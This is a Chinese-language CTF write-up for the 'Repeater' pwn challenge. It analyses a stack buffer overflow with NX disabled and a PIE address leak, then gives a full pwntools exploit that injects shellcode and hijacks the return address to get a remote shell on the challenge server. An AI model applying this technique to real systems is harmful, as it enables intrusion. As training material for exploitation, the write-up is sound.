Repeater PWN 题解
AI-摘要
KunKunYu GPT
AI初始化中...
介绍自己
生成本文简介
推荐相关文章
前往主页
前往tianli博客
[!info] 题目信息
来源:攻防世界
编号:GFSJ1021
下载:https://pan.quark.cn/s/c4aeacc6fad0
Repeater PWN 题解
一、Checksec 安全检查
使用 checksec 检查二进制文件的保护机制:
checksec file repeater
结果:
- Canary: No Canary Found (无栈保护)
- NX: NX disabled (NX 禁用 - 关键!)
- PIE: PIE Enabled (启用地址随机化)
- RELRO: Full RELRO
二、IDA 逆向分析
Main 函数伪代码
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_BYTE s[32]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
sub_91B(a1, a2, a3);
sub_A08();
v5 = 1192227;
puts("I can repeat your input.......");
puts("Please give me your name :");
// 初始化内存,把 byte_202040 设成 0
memset(byte_202040, 0, sizeof(byte_202040));
// 读取输入内容到 byte_202040;因为没有开启 NX,所以可以写入 shellcode
sub_982(byte_202040, 48);
// 判断是否 i < v5 --> 进入循环
for ( i = 0; i < v5; ++i )
{
printf("%s's input :", byte_202040);
memset(s, 0, sizeof(s)); // s 初始化为 0
// 输入 s;这里可以栈溢出控制程序
read(0, s, 0x40u);
puts("sorry... I can't.....");
// 如果 v5 等于 3281697,相等返回 true
if ( v5 == 3281697 )
{
puts("But there is gift for you :");
printf("%p\n", main); // 打印 main 函数的地址
}
}
return 0; // 返回循环语句进行判断
}
漏洞分析
-
栈溢出漏洞:
_BYTE s[32]只分配了 32 字节read(0, s, 0x40u)却读取了 0x40 (64) 字节- 可以覆盖栈上的变量
v5和返回地址
-
Shellcode 注入点:
byte_202040是一个全局变量- NX 保护未开启,可以在此写入并执行 shellcode
-
地址泄露:
- 当
v5 == 3281697时,会打印 main 函数地址 - 可以通过栈溢出修改
v5的值来触发
- 当
三、PIE 绕过
开启了 PIE 之后,所有函数的地址都是相对偏移:
- Main 函数的偏移是
0xA33(此值通过 IDA 静态分析,查看 main 函数前方的偏移量(. text: 0000000000000A33 main proc near)得知) - PIE 基地址 = main 函数地址 - main 函数偏移
- Shellcode 地址 = 基地址 +
0x202040
四、利用思路
分三步完成攻击:
- 第一次输入:注入 shellcode 到
byte_202040 - 第二次输入:栈溢出修改
v5为3281697,触发地址泄露,计算 PIE 基地址 - 第三次输入:栈溢出修改
v5为0,覆盖返回地址为 shellcode 地址,劫持程序执行流
五、EXP 编写
from pwn import *
# 设置环境
# context 是 pwntools 用来设置环境的功能
# 32 位和 64 位的汇编不同,需要正确设置
context(os='linux', arch='amd64', log_level='debug')
# 连接方式选择
# io = process('./repeater') # 本地运行程序
io = remote('61.147.171.105', 64701) # 连接远程程序
# 第一步:注入 shellcode
shellcode = asm(shellcraft.sh()) # pwntools 自动生成 shellcode
io.sendlineafter("Please give me your name :", shellcode)
# 第二步:泄露 main 函数地址
# 填充 0x20 字节的垃圾,然后覆盖 v5 为 3281697
payload = b'a' * 0x20 + p64(3281697)
io.sendlineafter("input :", payload)
io.readuntil(b'But there is gift for you :\n')
main_addr = int(io.recvuntil("\n"), 16) # 接收并解析地址(16 进制)
base_addr = main_addr - 0xa33 # 计算 PIE 的基地址
print(f"[+] Main address: {hex(main_addr)}")
print(f"[+] Base address: {hex(base_addr)}")
print(f"[+] Shellcode address: {hex(base_addr + 0x202040)}")
# 第三步:劫持控制流,执行 shellcode
# 填充 0x20 字节垃圾 + 覆盖 v5 为 0 + 0x8 的垃圾 + 0x8 的垃圾 + 覆盖返回地址为 shellcode 地址
payload = b'a' * 0x20 + p64(0) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(base_addr + 0x202040)
io.sendlineafter("input :", payload)
# 获取 shell
io.interactive()
六、总结
本题综合考察了以下知识点:
- 栈溢出漏洞利用
- PIE 地址泄露与绕过
- Shellcode 注入与执行
- 整数覆盖改变程序逻辑
- Pwntools 的使用
- 感谢你赐予我前进的力量
赞赏者名单
因为你们的支持让我意识到写文章的价值🙏
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 鸾觞酌醴
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果